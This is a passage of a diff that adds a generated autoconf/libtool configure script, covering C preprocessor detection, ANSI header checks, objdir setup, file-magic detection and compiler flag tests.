+      *)    LD="${LD-ld} -64" ;;
+      esac
+      ;;
+    esac
+  fi
+  rm -rf conftest*
+  ;;
+esac
+
+need_locks="$enable_libtool_lock"
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5
+echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6
+# On Suns, sometimes $CPP names a directory.
+if test -n "$CPP" && test -d "$CPP"; then
+  CPP=
+fi
+if test -z "$CPP"; then
+  if test "${ac_cv_prog_CPP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+      # Double quotes because CPP needs to be expanded
+    for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp"
+    do
+      ac_preproc_ok=false
+for ac_c_preproc_warn_flag in '' yes
+do
+  # Use a header file that comes with gcc, so configuring glibc
+  # with a fresh cross-compiler works.
+  # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+  # <limits.h> exists even on freestanding compilers.
+  # On the NeXT, cc -E runs the code through the compiler's parser,
+  # not just through cpp. "Syntax error" is here to catch this case.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+		     Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+  # OK, works on sane cases.  Now check whether non-existent headers
+  # can be detected and how.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  # Broken: success on invalid input.
+continue
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+  break
+fi
+
+    done
+    ac_cv_prog_CPP=$CPP
+
+fi
+  CPP=$ac_cv_prog_CPP
+else
+  ac_cv_prog_CPP=$CPP
+fi
+echo "$as_me:$LINENO: result: $CPP" >&5
+echo "${ECHO_T}$CPP" >&6
+ac_preproc_ok=false
+for ac_c_preproc_warn_flag in '' yes
+do
+  # Use a header file that comes with gcc, so configuring glibc
+  # with a fresh cross-compiler works.
+  # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+  # <limits.h> exists even on freestanding compilers.
+  # On the NeXT, cc -E runs the code through the compiler's parser,
+  # not just through cpp. "Syntax error" is here to catch this case.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+		     Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+  # OK, works on sane cases.  Now check whether non-existent headers
+  # can be detected and how.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  # Broken: success on invalid input.
+continue
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+  :
+else
+  { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check
+See \`config.log' for more details." >&5
+echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check
+See \`config.log' for more details." >&2;}
+   { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+echo "$as_me:$LINENO: checking for ANSI C header files" >&5
+echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6
+if test "${ac_cv_header_stdc+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <float.h>
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_header_stdc=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_header_stdc=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+
+if test $ac_cv_header_stdc = yes; then
+  # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <string.h>
+
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+  $EGREP "memchr" >/dev/null 2>&1; then
+  :
+else
+  ac_cv_header_stdc=no
+fi
+rm -f conftest*
+
+fi
+
+if test $ac_cv_header_stdc = yes; then
+  # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <stdlib.h>
+
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+  $EGREP "free" >/dev/null 2>&1; then
+  :
+else
+  ac_cv_header_stdc=no
+fi
+rm -f conftest*
+
+fi
+
+if test $ac_cv_header_stdc = yes; then
+  # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
+  if test "$cross_compiling" = yes; then
+  :
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <ctype.h>
+#if ((' ' & 0x0FF) == 0x020)
+# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
+# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
+#else
+# define ISLOWER(c) \
+		   (('a' <= (c) && (c) <= 'i') \
+		     || ('j' <= (c) && (c) <= 'r') \
+		     || ('s' <= (c) && (c) <= 'z'))
+# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
+#endif
+
+#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
+int
+main ()
+{
+  int i;
+  for (i = 0; i < 256; i++)
+    if (XOR (islower (i), ISLOWER (i))
+	|| toupper (i) != TOUPPER (i))
+      exit(2);
+  exit (0);
+}
+_ACEOF
+rm -f conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && { ac_try='./conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  :
+else
+  echo "$as_me: program exited with status $ac_status" >&5
+echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+( exit $ac_status )
+ac_cv_header_stdc=no
+fi
+rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext
+fi
+fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5
+echo "${ECHO_T}$ac_cv_header_stdc" >&6
+if test $ac_cv_header_stdc = yes; then
+
+cat >>confdefs.h <<\_ACEOF
+#define STDC_HEADERS 1
+_ACEOF
+
+fi
+
+# On IRIX 5.3, sys/types and inttypes.h are conflicting.
+
+
+
+
+
+
+
+
+
+for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \
+		  inttypes.h stdint.h unistd.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_Header=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_Header=no"
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+
+for ac_header in dlfcn.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_Header=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_Header=no"
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+
+# This can be used to rebuild libtool when needed
+LIBTOOL_DEPS="$ltmain"
+
+# Always use our own libtool.
+LIBTOOL='$(SHELL) $(top_builddir)/libtool'
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+test -z "$LN_S" && LN_S="ln -s"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+if test -n "${ZSH_VERSION+set}" ; then
+   setopt NO_GLOB_SUBST
+fi
+
+echo "$as_me:$LINENO: checking for objdir" >&5
+echo $ECHO_N "checking for objdir... $ECHO_C" >&6
+if test "${lt_cv_objdir+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  rm -f .libs 2>/dev/null
+mkdir .libs 2>/dev/null
+if test -d .libs; then
+  lt_cv_objdir=.libs
+else
+  # MS-DOS does not allow filenames that begin with a dot.
+  lt_cv_objdir=_libs
+fi
+rmdir .libs 2>/dev/null
+fi
+echo "$as_me:$LINENO: result: $lt_cv_objdir" >&5
+echo "${ECHO_T}$lt_cv_objdir" >&6
+objdir=$lt_cv_objdir
+
+
+
+
+
+cat >>confdefs.h <<_ACEOF
+#define LT_OBJDIR "$lt_cv_objdir/"
+_ACEOF
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+case $host_os in
+aix3*)
+  # AIX sometimes has problems with the GCC collect2 program.  For some
+  # reason, if we set the COLLECT_NAMES environment variable, the problems
+  # vanish in a puff of smoke.
+  if test "X${COLLECT_NAMES+set}" != Xset; then
+    COLLECT_NAMES=
+    export COLLECT_NAMES
+  fi
+  ;;
+esac
+
+# Sed substitution that helps us do robust quoting.  It backslashifies
+# metacharacters that are still active within double-quoted strings.
+Xsed='sed -e 1s/^X//'
+sed_quote_subst='s/\(["`$\\]\)/\\\1/g'
+
+# Same as above, but do not quote variable references.
+double_quote_subst='s/\(["`\\]\)/\\\1/g'
+
+# Sed substitution to delay expansion of an escaped shell variable in a
+# double_quote_subst'ed string.
+delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
+
+# Sed substitution to delay expansion of an escaped single quote.
+delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g'
+
+# Sed substitution to avoid accidental globbing in evaled expressions
+no_glob_subst='s/\*/\\\*/g'
+
+# Global variables:
+ofile=libtool
+can_build_shared=yes
+
+# All known linkers require a `.a' archive for static linking (except MSVC,
+# which needs '.lib').
+libext=a
+
+with_gnu_ld="$lt_cv_prog_gnu_ld"
+
+old_CC="$CC"
+old_CFLAGS="$CFLAGS"
+
+# Set sane defaults for various variables
+test -z "$CC" && CC=cc
+test -z "$LTCC" && LTCC=$CC
+test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
+test -z "$LD" && LD=ld
+test -z "$ac_objext" && ac_objext=o
+
+for cc_temp in $compiler""; do
+  case $cc_temp in
+    compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
+    distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
+    \-*) ;;
+    *) break;;
+  esac
+done
+cc_basename=`$ECHO "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
+
+
+# Only perform the check for file, if the check method requires it
+test -z "$MAGIC_CMD" && MAGIC_CMD=file
+case $deplibs_check_method in
+file_magic*)
+  if test "$file_magic_cmd" = '$MAGIC_CMD'; then
+    echo "$as_me:$LINENO: checking for ${ac_tool_prefix}file" >&5
+echo $ECHO_N "checking for ${ac_tool_prefix}file... $ECHO_C" >&6
+if test "${lt_cv_path_MAGIC_CMD+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  case $MAGIC_CMD in
+[\\/*] |  ?:[\\/]*)
+  lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
+  ;;
+*)
+  lt_save_MAGIC_CMD="$MAGIC_CMD"
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
+  for ac_dir in $ac_dummy; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f $ac_dir/${ac_tool_prefix}file; then
+      lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file"
+      if test -n "$file_magic_test_file"; then
+	case $deplibs_check_method in
+	"file_magic "*)
+	  file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
+	  MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+	  if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
+	    $EGREP "$file_magic_regex" > /dev/null; then
+	    :
+	  else
+	    cat <<_LT_EOF 1>&2
+
+*** Warning: the command libtool uses to detect shared libraries,
+*** $file_magic_cmd, produces output that libtool cannot recognize.
+*** The result is that libtool may fail to recognize shared libraries
+*** as such.  This will affect the creation of libtool libraries that
+*** depend on shared libraries, but programs linked with such libtool
+*** libraries will work regardless of this problem.  Nevertheless, you
+*** may want to report the problem to your system manager and/or to
+*** bug-libtool@gnu.org
+
+_LT_EOF
+	  fi ;;
+	esac
+      fi
+      break
+    fi
+  done
+  IFS="$lt_save_ifs"
+  MAGIC_CMD="$lt_save_MAGIC_CMD"
+  ;;
+esac
+fi
+
+MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+if test -n "$MAGIC_CMD"; then
+  echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5
+echo "${ECHO_T}$MAGIC_CMD" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+
+
+
+
+if test -z "$lt_cv_path_MAGIC_CMD"; then
+  if test -n "$ac_tool_prefix"; then
+    echo "$as_me:$LINENO: checking for file" >&5
+echo $ECHO_N "checking for file... $ECHO_C" >&6
+if test "${lt_cv_path_MAGIC_CMD+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  case $MAGIC_CMD in
+[\\/*] |  ?:[\\/]*)
+  lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
+  ;;
+*)
+  lt_save_MAGIC_CMD="$MAGIC_CMD"
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
+  for ac_dir in $ac_dummy; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f $ac_dir/file; then
+      lt_cv_path_MAGIC_CMD="$ac_dir/file"
+      if test -n "$file_magic_test_file"; then
+	case $deplibs_check_method in
+	"file_magic "*)
+	  file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
+	  MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+	  if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
+	    $EGREP "$file_magic_regex" > /dev/null; then
+	    :
+	  else
+	    cat <<_LT_EOF 1>&2
+
+*** Warning: the command libtool uses to detect shared libraries,
+*** $file_magic_cmd, produces output that libtool cannot recognize.
+*** The result is that libtool may fail to recognize shared libraries
+*** as such.  This will affect the creation of libtool libraries that
+*** depend on shared libraries, but programs linked with such libtool
+*** libraries will work regardless of this problem.  Nevertheless, you
+*** may want to report the problem to your system manager and/or to
+*** bug-libtool@gnu.org
+
+_LT_EOF
+	  fi ;;
+	esac
+      fi
+      break
+    fi
+  done
+  IFS="$lt_save_ifs"
+  MAGIC_CMD="$lt_save_MAGIC_CMD"
+  ;;
+esac
+fi
+
+MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+if test -n "$MAGIC_CMD"; then
+  echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5
+echo "${ECHO_T}$MAGIC_CMD" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+
+  else
+    MAGIC_CMD=:
+  fi
+fi
+
+  fi
+  ;;
+esac
+
+# Use C for the default configuration in the libtool script
+
+lt_save_CC="$CC"
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+# Source file extension for C test sources.
+ac_ext=c
+
+# Object file extension for compiled C test sources.
+objext=o
+objext=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="int some_variable = 0;\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code='int main(){return(0);}\n'
+
+
+
+
+
+
+
+# If no C compiler was specified, use CC.
+LTCC=${LTCC-"$CC"}
+
+# If no C compiler flags were specified, use CFLAGS.
+LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
+
+# Allow CC to be a program name with arguments.
+compiler=$CC
+
+# Save the default compiler, since it gets overwritten when the other
+# tags are being tested, and _LT_TAGVAR(compiler, []) is a NOP.
+compiler_DEFAULT=$CC
+
+# save warnings/boilerplate of simple test code
+ac_outfile=conftest.$ac_objext
+printf "$lt_simple_compile_test_code" >conftest.$ac_ext
+eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_compiler_boilerplate=`cat conftest.err`
+$RM conftest*
+
+ac_outfile=conftest.$ac_objext
+printf "$lt_simple_link_test_code" >conftest.$ac_ext
+eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
+_lt_linker_boilerplate=`cat conftest.err`
+$RM conftest*
+
+
+## CAVEAT EMPTOR:
+## There is no encapsulation within the following macros, do not change
+## the running order or otherwise move them around unless you know exactly
+## what you are doing...
+if test -n "$compiler"; then
+
+lt_prog_compiler_no_builtin_flag=
+
+if test "$GCC" = yes; then
+  lt_prog_compiler_no_builtin_flag=' -fno-builtin'
+
+  echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
+echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions... $ECHO_C" >&6
+if test "${lt_cv_prog_compiler_rtti_exceptions+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_prog_compiler_rtti_exceptions=no
+   ac_outfile=conftest.$ac_objext
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+   lt_compiler_flag="-fno-rtti -fno-exceptions"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   # The option is referenced via a variable to avoid confusing sed.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:6152: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>conftest.err)
+   ac_status=$?
+   cat conftest.err >&5
+   echo "$as_me:6156: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s "$ac_outfile"; then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings other than the usual output.
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
+     $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+     if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
+       lt_cv_prog_compiler_rtti_exceptions=yes
+     fi
+   fi
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
+echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6
+
+if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
+    lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions"
+else
+    :
+fi
+
+fi
+
+
+
+
+
+
+  lt_prog_compiler_wl=
+lt_prog_compiler_pic=
+lt_prog_compiler_static=
+
+echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5
+echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6
+
+  if test "$GCC" = yes; then
+    lt_prog_compiler_wl='-Wl,'
+    lt_prog_compiler_static='-static'
+
+    case $host_os in
+      aix*)
+      # All AIX code is PIC.
